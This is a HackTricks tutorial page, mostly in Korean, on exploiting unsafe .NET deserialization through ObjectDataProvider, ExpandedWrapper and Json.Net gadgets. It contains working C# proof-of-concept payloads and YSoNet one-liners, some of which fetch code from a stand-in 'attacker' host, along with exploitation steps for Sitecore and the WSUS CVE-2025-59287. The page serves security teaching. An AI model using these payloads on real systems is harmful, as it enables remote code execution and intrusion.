๊ธฐ๋ณธ .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ด ๊ธ€์€ gadget ObjectDataProvider๊ฐ€ ์–ด๋–ป๊ฒŒ ์•…์šฉ๋˜์–ด RCE๋ฅผ ์–ป๋Š”์ง€์™€ Serialization ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ Json.Net ๋ฐ xmlSerializer๊ฐ€ ํ•ด๋‹น gadget์œผ๋กœ ์–ด๋–ป๊ฒŒ ์•…์šฉ๋  ์ˆ˜ ์žˆ๋Š”์ง€๋ฅผ ์ดํ•ดํ•˜๋Š” ๋ฐ ์ „๋…ํ•ฉ๋‹ˆ๋‹ค.

ObjectDataProvider Gadget

๋ฌธ์„œ์— ๋”ฐ๋ฅด๋ฉด: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
์„ค๋ช…์ด ๋‹ค์†Œ ์• ๋งคํ•˜๋‹ˆ, ์ด ํด๋ž˜์Šค๊ฐ€ ์™œ ํฅ๋ฏธ๋กœ์šด์ง€ ์‚ดํŽด๋ณด์ž: ์ด ํด๋ž˜์Šค๋Š” **์ž„์˜์˜ object๋ฅผ ๋ž˜ํ•‘(wrap)**ํ•˜๊ณ , _MethodParameters_๋ฅผ ์‚ฌ์šฉํ•ด ์ž„์˜์˜ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์„ค์ •ํ•œ ๋‹ค์Œ, MethodName์„ ์‚ฌ์šฉํ•ด ํ•ด๋‹น ์ž„์˜ ๊ฐ์ฒด์˜ ์ž„์˜ ํ•จ์ˆ˜(์œ„์—์„œ ์„ค์ •ํ•œ ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ)๋ฅผ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ๋‹ค.
๋”ฐ๋ผ์„œ, ์—ญ์ง๋ ฌํ™”๋˜๋Š” ๋™์•ˆ ํ•ด๋‹น ์ž„์˜์˜ object๊ฐ€ parameters๋ฅผ ๊ฐ€์ง„ ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•˜๊ฒŒ ๋œ๋‹ค.

์ด๊ฑด ์–ด๋–ป๊ฒŒ ๊ฐ€๋Šฅํ•œ๊ฐ€

System.Windows.Data ๋„ค์ž„์ŠคํŽ˜์ด์Šค๋Š” PresentationFramework.dll์˜ C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF์— ์œ„์น˜ํ•˜๋ฉฐ, ObjectDataProvider๊ฐ€ ์ •์˜๋˜๊ณ  ๊ตฌํ˜„๋œ ๊ณณ์ด๋‹ค.

dnSpy๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์šฐ๋ฆฌ๊ฐ€ ๊ด€์‹ฌ ์žˆ๋Š” ํด๋ž˜์Šค์˜ ์ฝ”๋“œ๋ฅผ inspectํ•  ์ˆ˜ ์žˆ๋‹ค. ์•„๋ž˜ ์ด๋ฏธ์ง€์—์„œ๋Š” PresentationFramework.dll โ€“> System.Windows.Data โ€“> ObjectDataProvider โ€“> Method name์˜ ์ฝ”๋“œ๋ฅผ ๋ณด๊ณ  ์žˆ๋‹ค.

๋ณด์‹œ๋‹ค์‹œํ”ผ MethodName์ด ์„ค์ •๋˜๋ฉด base.Refresh()๊ฐ€ ํ˜ธ์ถœ๋œ๋‹ค. ์ด๊ฒƒ์ด ๋ฌด์—‡์„ ํ•˜๋Š”์ง€ ์‚ดํŽด๋ณด์ž:

์ž, ๊ณ„์†ํ•ด์„œ this.BeginQuery()๊ฐ€ ๋ฌด์—‡์„ ํ•˜๋Š”์ง€ ๋ณด์ž. BeginQuery๋Š” ObjectDataProvider์— ์˜ํ•ด ์˜ค๋ฒ„๋ผ์ด๋“œ๋˜์–ด ์žˆ์œผ๋ฉฐ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค:

์ฝ”๋“œ ๋๋ถ€๋ถ„์—์„œ this.QueryWorke(null)๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค. ๊ทธ๊ฒŒ ๋ฌด์—‡์„ ์‹คํ–‰ํ•˜๋Š”์ง€ ๋ณด์ž:

์ด๊ฒƒ์€ QueryWorker ํ•จ์ˆ˜ ์ „์ฒด ์ฝ”๋“œ๋Š” ์•„๋‹ˆ์ง€๋งŒ ํฅ๋ฏธ๋กœ์šด ๋ถ€๋ถ„์„ ๋ณด์—ฌ์ค€๋‹ค: ์ฝ”๋“œ๊ฐ€ this.InvokeMethodOnInstance(out ex);๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค; ์ด ๋ผ์ธ์ด ๋ฐ”๋กœ ์„ค์ •๋œ method๊ฐ€ ํ˜ธ์ถœ๋˜๋Š” ๋ถ€๋ถ„์ด๋‹ค.

๋งŒ์•ฝ ๋‹จ์ˆœํžˆ _MethodName_๋ฅผ ์„ค์ •ํ•˜๋Š” ๊ฒƒ๋งŒ์œผ๋กœ ๊ทธ๊ฒƒ์ด ์‹คํ–‰๋˜๋Š”์ง€ ํ™•์ธํ•˜๊ณ  ์‹ถ๋‹ค๋ฉด, ๋‹ค์Œ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•ด ๋ณผ ์ˆ˜ ์žˆ๋‹ค:

C# demo: ObjectDataProvider triggers Process.Start ```csharp using System.Windows.Data; using System.Diagnostics;

namespace ODPCustomSerialExample { class Program { static void Main(string[] args) { ObjectDataProvider myODP = new ObjectDataProvider(); myODP.ObjectType = typeof(Process); myODP.MethodParameters.Add(โ€œcmd.exeโ€); myODP.MethodParameters.Add(โ€œ/c calc.exeโ€); myODP.MethodName = โ€œStartโ€; } } }

</details>

์ฐธ๊ณ : `System.Windows.Data`๋ฅผ ๋กœ๋“œํ•˜๋ ค๋ฉด ์ฐธ์กฐ๋กœ _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ ๋ฅผ ์ถ”๊ฐ€ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

## ExpandedWrapper

์ด์ „ ์ต์Šคํ”Œ๋กœ์ž‡์„ ์‚ฌ์šฉํ•  ๋•Œ, ํŠน์ • ๊ฒฝ์šฐ์—๋Š” **๊ฐ์ฒด(object)**๊ฐ€ _**ObjectDataProvider**_ ์ธ์Šคํ„ด์Šค๋กœ **์—ญ์ง๋ ฌํ™”๋˜๋Š”(deserialized as)** ๊ฒฝ์šฐ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค(์˜ˆ: DotNetNuke vuln์—์„œ XmlSerializer๋ฅผ ์‚ฌ์šฉํ•ด ๊ฐ์ฒด๊ฐ€ `GetType`์œผ๋กœ ์—ญ์ง๋ ฌํ™”๋œ ๊ฒฝ์šฐ). ์ด ๊ฒฝ์šฐ _ObjectDataProvider_ ์ธ์Šคํ„ด์Šค์— ๊ฐ์‹ธ์ง„ ๊ฐ์ฒด ํƒ€์ž…(์˜ˆ: `Process`)์„ **์•Œ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค**. DotNetNuke vuln์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋Š” [์—ฌ๊ธฐ](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1)์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ํด๋ž˜์Šค๋Š” ์ฃผ์–ด์ง„ ์ธ์Šคํ„ด์Šค์— ์บก์Аํ™”๋œ ๊ฐ์ฒด๋“ค์˜ ํƒ€์ž…์„ **์ง€์ •ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค**. ๋”ฐ๋ผ์„œ ์ด ํด๋ž˜์Šค๋Š” ์†Œ์Šค ๊ฐ์ฒด(_ObjectDataProvider_)๋ฅผ ์ƒˆ๋กœ์šด ๊ฐ์ฒด ํƒ€์ž…์œผ๋กœ ์บก์Аํ™”ํ•˜๊ณ  ์šฐ๋ฆฌ๊ฐ€ ํ•„์š”ํ•œ ์†์„ฑ(_ObjectDataProvider.MethodName_ ๋ฐ _ObjectDataProvider.MethodParameters_)์„ ์ œ๊ณตํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.  
์•ž์„œ ์ œ์‹œํ•œ ์‚ฌ๋ก€๋“ค์—์„œ ๋งค์šฐ ์œ ์šฉํ•œ๋ฐ, _ObjectDataProvider_๋ฅผ **_ExpandedWrapper_** ์ธ์Šคํ„ด์Šค ์•ˆ์— ๋ž˜ํ•‘ํ•˜๋ฉด ์—ญ์ง๋ ฌํ™”๋  ๋•Œ ์ด ํด๋ž˜์Šค๊ฐ€ _ObjectDataProvider_ ๊ฐ์ฒด๋ฅผ **์ƒ์„ฑ**ํ•˜์—ฌ _MethodName_์— ์ง€์ •๋œ **ํ•จ์ˆ˜(function)**๋ฅผ **์‹คํ–‰**ํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

๋‹ค์Œ ์ฝ”๋“œ๋ฅผ ํ†ตํ•ด ์ด ๋ž˜ํผ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

<details>
<summary>C# ๋ฐ๋ชจ: ExpandedWrapper๊ฐ€ ObjectDataProvider๋ฅผ ์บก์Аํ™”ํ•˜๋Š” ์˜ˆ</summary>
```csharp
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

In the official web page it is indicated that this library allows to Json.NET์˜ ๊ฐ•๋ ฅํ•œ JSON serializer๋กœ ๋ชจ๋“  .NET ๊ฐ์ฒด๋ฅผ ์ง๋ ฌํ™”(Serialize)ํ•˜๊ณ  ์—ญ์ง๋ ฌํ™”(Deserialize)ํ•  ์ˆ˜ ์žˆ๋‹ค. So, if we could deserialize the ObjectDataProvider gadget, we could cause a RCE just deserializing an object.

Json.Net ์˜ˆ์ œ

First of all lets see an example on how to ์ง๋ ฌํ™”/์—ญ์ง๋ ฌํ™” an object using this library:

C# ๋ฐ๋ชจ: Json.NET ์ง๋ ฌํ™”/์—ญ์ง๋ ฌํ™” ```csharp using System; using Newtonsoft.Json; using System.Diagnostics; using System.Collections.Generic;

namespace DeserializationTests { public class Account { public string Email { get; set; } public bool Active { get; set; } public DateTime CreatedDate { get; set; } public IList Roles { get; set; } } class Program { static void Main(string[] args) { Account account = new Account { Email = โ€œjames@example.comโ€, Active = true, CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc), Roles = new List { โ€œUserโ€, โ€œAdminโ€ } }; //Serialize the object and print it string json = JsonConvert.SerializeObject(account); Console.WriteLine(json); //{โ€œEmailโ€:โ€œjames@example.comโ€,โ€œActiveโ€:true,โ€œCreatedDateโ€:โ€œ2013-01-20T00:00:00Zโ€,โ€œRolesโ€:[โ€œUserโ€,โ€œAdminโ€]}

//Deserialize it Account desaccount = JsonConvert.DeserializeObject(json); Console.WriteLine(desaccount.Email); } } }

</details>

### Json.Net ์•…์šฉ

[ysoserial.net](https://github.com/pwntester/ysoserial.net)์„ ์‚ฌ์šฉํ•˜์—ฌ exploit๋ฅผ ๋งŒ๋“ค์—ˆ์Šต๋‹ˆ๋‹ค:
```text
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

์ด ์ฝ”๋“œ์—์„œ๋Š” test the exploit๋ฅผ ์‹คํ–‰ํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋ƒฅ ์‹คํ–‰ํ•˜๋ฉด calc๊ฐ€ ์‹คํ–‰๋˜๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

C# demo: Json.NET ObjectDataProvider exploitation PoC ```csharp using System; using System.Text; using Newtonsoft.Json;

namespace DeserializationTests { class Program { static void Main(string[] args) { //Declare exploit string userdata = @โ€œ{ โ€˜$typeโ€™:โ€˜System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35โ€™, โ€˜MethodNameโ€™:โ€˜Startโ€™, โ€˜MethodParametersโ€™:{ โ€˜$typeโ€™:โ€˜System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089โ€™, โ€˜$valuesโ€™:[โ€˜cmdโ€™, โ€˜/c calc.exeโ€™] }, โ€˜ObjectInstanceโ€™:{โ€˜$typeโ€™:โ€˜System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089โ€™} }โ€; //Exploit to base64 string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64 byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64); //Deserialize data string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64); object obj = JsonConvert.DeserializeObject(userdata_decoded, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.Auto }); } } }

</details>

## ๊ณ ๊ธ‰ .NET Gadget Chains (YSoNet & ysoserial.net)

ObjectDataProvider + ExpandedWrapper ๊ธฐ๋ฒ•์€ ์•ž์—์„œ ์†Œ๊ฐœํ•œ ๋งŽ์€ gadget chain ์ค‘ ํ•˜๋‚˜์— ๋ถˆ๊ณผํ•˜๋ฉฐ, ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด **์•ˆ์ „ํ•˜์ง€ ์•Š์€ .NET ์—ญ์ง๋ ฌํ™”(unsafe .NET deserialization)** ๋ฅผ ์ˆ˜ํ–‰ํ•  ๋•Œ ์•…์šฉ๋  ์ˆ˜ ์žˆ๋‹ค. ํ˜„๋Œ€์˜ ๋ ˆ๋“œํŒ€ ๋„๊ตฌ๋“ค์ธ **[YSoNet](https://github.com/irsdl/ysonet)** (๊ตฌํ˜•์ธ [ysoserial.net](https://github.com/pwntester/ysoserial.net) ํฌํ•จ)๋Š” ์ˆ˜์‹ญ ๊ฐœ์˜ gadget ๋ฐ ์ง๋ ฌํ™” ํฌ๋งท์— ๋Œ€ํ•ด **๋ฐ”๋กœ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ์•…์„ฑ ๊ฐ์ฒด ๊ทธ๋ž˜ํ”„**๋ฅผ ์ž๋™์œผ๋กœ ์ƒ์„ฑํ•œ๋‹ค.

์•„๋ž˜๋Š” *YSoNet*์— ํฌํ•จ๋œ ๊ฐ€์žฅ ์œ ์šฉํ•œ ์ฒด์ธ๋“ค์„ ๊ฐ„์ถ”๋ ค ์ •๋ฆฌํ•œ ์ฐธ๊ณ ํ‘œ๋กœ, ์ž‘๋™ ์›๋ฆฌ์˜ ๊ฐ„๋‹จํ•œ ์„ค๋ช…๊ณผ ํŽ˜์ด๋กœ๋“œ ์ƒ์„ฑ ์˜ˆ์ œ ๋ช…๋ น์„ ํ•จ๊ป˜ ๋ณด์—ฌ์ค€๋‹ค.

| Gadget ์ฒด์ธ | ํ•ต์‹ฌ ์•„์ด๋””์–ด / ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ | ์ผ๋ฐ˜์ ์ธ ์ง๋ ฌํ™”๊ธฐ | YSoNet ์›๋ผ์ด๋„ˆ |
|--------------|----------------------------|--------------------|------------------|
| **TypeConfuseDelegate** | `DelegateSerializationHolder` ๋ ˆ์ฝ”๋“œ๋ฅผ ๋ณ€์กฐํ•˜์—ฌ, ์ธ์Šคํ„ด์Šคํ™”๋˜๋ฉด delegate๊ฐ€ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ๊ณตํ•œ ์–ด๋–ค ๋ฉ”์„œ๋“œ(์˜ˆ: `Process.Start`)๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ํ•œ๋‹ค | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector`๋ฅผ ์•…์šฉํ•˜์—ฌ *.NET โ‰ฅ4.8 ํƒ€์ž… ํ•„ํ„ฐ๋ง์„ ์šฐํšŒ*ํ•˜๊ณ  ์ œ๊ณต๋œ ํด๋ž˜์Šค์˜ **์ƒ์„ฑ์ž**๋ฅผ ์ง์ ‘ ํ˜ธ์ถœํ•˜๊ฑฐ๋‚˜ C# ํŒŒ์ผ์„ ์ฆ‰์„์—์„œ **์ปดํŒŒ์ผ**ํ•œ๋‹ค | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | `System.Data.DataSet`์˜ **๋ ˆ๊ฑฐ์‹œ XML** ํ‘œํ˜„์„ ์ด์šฉํ•ด `<ColumnMapping>` / `<DataType>` ํ•„๋“œ๋ฅผ ์ฑ„์›Œ ์ž„์˜ ํƒ€์ž…์„ ์ธ์Šคํ„ด์Šคํ™”ํ•œ๋‹ค(์„ ํƒ์ ์œผ๋กœ `--spoofedAssembly`๋กœ ์–ด์…ˆ๋ธ”๋ฆฌ๋ฅผ ์œ„์กฐ ๊ฐ€๋Šฅ) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>โ€ฆ</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | WPF๊ฐ€ ํ™œ์„ฑํ™”๋œ ๋Ÿฐํƒ€์ž„(> .NET 5)์—์„œ ํ”„๋กœํผํ‹ฐ getter๋ฅผ ์—ฐ์‡„ํ•ด `System.CodeDom.Compiler.CompilerResults`์— ๋„๋‹ฌํ•œ ๋’ค, `-c`๋กœ ์ œ๊ณต๋œ DLL์„ *์ปดํŒŒ์ผ*ํ•˜๊ฑฐ๋‚˜ *๋กœ๋“œ*ํ•œ๋‹ค | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | WPF์˜ `System.Windows.Data.ObjectDataProvider`๋ฅผ ์‚ฌ์šฉํ•ด ์ œ์–ด๋œ ์ธ์ˆ˜๋กœ ์ž„์˜์˜ ์ •์  ๋ฉ”์„œ๋“œ๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค. YSoNet์€ ์•…์„ฑ XAML์„ ์›๊ฒฉ ํ˜ธ์ŠคํŒ…ํ•  ์ˆ˜ ์žˆ๋Š” ํŽธ๋ฆฌํ•œ `--xamlurl` ๋ณ€ํ˜•์„ ์ถ”๊ฐ€ํ•œ๋‹ค | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | PowerShell์ด ๊ฐ์ฒด๋ฅผ ์—ญ์ง๋ ฌํ™”ํ•  ๋•Œ ์‹คํ–‰๋˜๋Š” `ScriptBlock`์„ `System.Management.Automation.PSObject`์— ์‚ฝ์ž…ํ•œ๋‹ค | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |

> [!TIP]
> ๋ชจ๋“  ํŽ˜์ด๋กœ๋“œ๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ **stdout**์œผ๋กœ ์ถœ๋ ฅ๋˜๋ฏ€๋กœ, ViewState ์ƒ์„ฑ๊ธฐ, base64 ์ธ์ฝ”๋”, HTTP ํด๋ผ์ด์–ธํŠธ ๋“ฑ ๋‹ค๋ฅธ ๋„๊ตฌ๋กœ ํŒŒ์ดํ”„ํ•˜๋Š” ๊ฒƒ์ด ๋งค์šฐ ์‰ฝ๋‹ค.

### YSoNet ๋นŒ๋“œ / ์„ค์น˜

์‚ฌ์ „ ์ปดํŒŒ์ผ๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ *Actions โžœ Artifacts* / *Releases*์— ์—†๋‹ค๋ฉด, ๋‹ค์Œ **PowerShell** ์›๋ผ์ด๋„ˆ๊ฐ€ ๋นŒ๋“œ ํ™˜๊ฒฝ์„ ์„ค์ •ํ•˜๊ณ  ๋ฆฌํฌ์ง€ํ† ๋ฆฌ๋ฅผ ํด๋ก ํ•œ ๋’ค Release ๋ชจ๋“œ๋กœ ๋ชจ๋“  ๊ฒƒ์„ ์ปดํŒŒ์ผํ•œ๋‹ค:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

์ปดํŒŒ์ผ๋œ ysonet.exe๋Š” ysonet/bin/Release/ ๊ฒฝ๋กœ์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์‹ค์ œ sink: Sitecore convertToRuntimeHtml โ†’ BinaryFormatter

์ธ์ฆ๋œ Sitecore XP Content Editor ํ๋ฆ„์—์„œ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ์‹ค์šฉ์ ์ธ .NET sink:

  • Sink API: Sitecore.Convert.Base64ToObject(string) wraps new BinaryFormatter().Deserialize(...).
  • ํŠธ๋ฆฌ๊ฑฐ ๊ฒฝ๋กœ: ํŒŒ์ดํ”„๋ผ์ธ convertToRuntimeHtml โ†’ ConvertWebControls๋Š” id="{iframeId}_inner"์ธ ํ˜•์ œ ์š”์†Œ๋ฅผ ์ฐพ๊ณ  value ์†์„ฑ์„ ์ฝ์Šต๋‹ˆ๋‹ค. ์ด ๊ฐ’์€ base64โ€encoded serialized data๋กœ ์ฒ˜๋ฆฌ๋˜๋ฉฐ, ๊ฒฐ๊ณผ๋Š” string์œผ๋กœ ์บ์ŠคํŠธ๋˜์–ด HTML์— ์‚ฝ์ž…๋ฉ๋‹ˆ๋‹ค.
์ธ์ฆ๋œ Sitecore sink ํŠธ๋ฆฌ๊ฑฐ HTTP ํ๋ฆ„ ```text // Load HTML into EditHtml session POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&โ€ฆ&ctl00$ctl00$ctl05$Html=

// Server returns a handle; visiting FixHtml.aspx?hdl=โ€ฆ triggers deserialization GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=โ€ฆ

</details>

- Gadget: ๋ฌธ์ž์—ด์„ ๋ฐ˜ํ™˜ํ•˜๋Š” BinaryFormatter ์ฒด์ธ(์—ญ์ง๋ ฌํ™” ๋™์•ˆ ๋ถ€์ž‘์šฉ์ด ์‹คํ–‰๋จ). ํŽ˜์ด๋กœ๋“œ ์ƒ์„ฑ์€ YSoNet/ysoserial.net ์ฐธ์กฐ.

For a full chain that starts preโ€‘auth with HTML cache poisoning in Sitecore and leads to this sink:

<a class="content_ref" href="../../network-services-pentesting/pentesting-web/sitecore/index.html"><span class="content_ref_label">Sitecore</span></a>

## ์‚ฌ๋ก€ ์—ฐ๊ตฌ: WSUS unsafe .NET deserialization (CVE-2025-59287)

- ์ œํ’ˆ/์—ญํ• : Windows Server Update Services (WSUS) ์—ญํ•  โ€” Windows Server 2012 โ†’ 2025.
- ๊ณต๊ฒฉ ํ‘œ๋ฉด: IIS์—์„œ ํ˜ธ์ŠคํŒ…๋˜๋Š” WSUS ์—”๋“œํฌ์ธํŠธ(HTTP/HTTPS) TCP 8530/8531 (์ข…์ข… ๋‚ด๋ถ€์— ๋…ธ์ถœ; ์ธํ„ฐ๋„ท ๋…ธ์ถœ ์‹œ ๊ณ ์œ„ํ—˜).
- ๊ทผ๋ณธ ์›์ธ: ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ๋ ˆ๊ฑฐ์‹œ formatters๋กœ ์ธ์ฆ ์—†์ด ์—ญ์ง๋ ฌํ™”ํ•จ:
- `GetCookie()` ์—”๋“œํฌ์ธํŠธ๋Š” `BinaryFormatter`๋กœ `AuthorizationCookie`๋ฅผ ์—ญ์ง๋ ฌํ™”ํ•ฉ๋‹ˆ๋‹ค.
- `ReportingWebService`๋Š” `SoapFormatter`๋ฅผ ํ†ตํ•ด ์•ˆ์ „ํ•˜์ง€ ์•Š์€ ์—ญ์ง๋ ฌํ™”๋ฅผ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.
- ์˜ํ–ฅ: ์กฐ์ž‘๋œ ์ง๋ ฌํ™” ๊ฐ์ฒด๊ฐ€ ์—ญ์ง๋ ฌํ™” ์ค‘ gadget ์ฒด์ธ์„ ํŠธ๋ฆฌ๊ฑฐํ•˜์—ฌ, WSUS ์„œ๋น„์Šค(`wsusservice.exe`) ๋˜๋Š” IIS ์•ฑ ํ’€ `wsuspool`(`w3wp.exe`) ์ค‘ ์–ด๋А ์ชฝ์—์„œ๋“  `NT AUTHORITY\SYSTEM` ๊ถŒํ•œ์œผ๋กœ ์ž„์˜ ์ฝ”๋“œ ์‹คํ–‰์œผ๋กœ ์ด์–ด์ง‘๋‹ˆ๋‹ค.

Practical exploitation notes
- Discovery: TCP 8530/8531์—์„œ WSUS๋ฅผ ์Šค์บ”ํ•˜์„ธ์š”. WSUS ์›น ๋ฉ”์„œ๋“œ์— ๋„๋‹ฌํ•˜๋Š” ๋ชจ๋“  pre-auth ์ง๋ ฌํ™”๋œ blob์„ `BinaryFormatter`/`SoapFormatter` ํŽ˜์ด๋กœ๋“œ์˜ ์ž ์žฌ์  sink๋กœ ๊ฐ„์ฃผํ•˜์„ธ์š”.
- Payloads: YSoNet/ysoserial.net์„ ์‚ฌ์šฉํ•ด `BinaryFormatter` ๋˜๋Š” `SoapFormatter` ์ฒด์ธ์„ ์ƒ์„ฑํ•˜์„ธ์š”(์˜ˆ: `TypeConfuseDelegate`, `ActivitySurrogateSelector`, `ObjectDataProvider`).
- Expected process lineage on success:
- `wsusservice.exe -> cmd.exe -> cmd.exe -> powershell.exe`
- `w3wp.exe (wsuspool) -> cmd.exe -> cmd.exe -> powershell.exe`

## References
- [YSoNet โ€“ .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
- [ysoserial.net โ€“ original PoC tool](https://github.com/pwntester/ysoserial.net)
- [Microsoft โ€“ CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
- [watchTowr Labs โ€“ Sitecore XP cache poisoning โ†’ RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Unit 42 โ€“ Microsoft WSUS RCE (CVE-2025-59287) actively exploited](https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/)
- [MSRC โ€“ CVE-2025-59287 advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287)
- [NVD โ€“ CVE-2025-59287](https://nvd.nist.gov/vuln/detail/CVE-2025-59287)

> [!TIP]
> AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
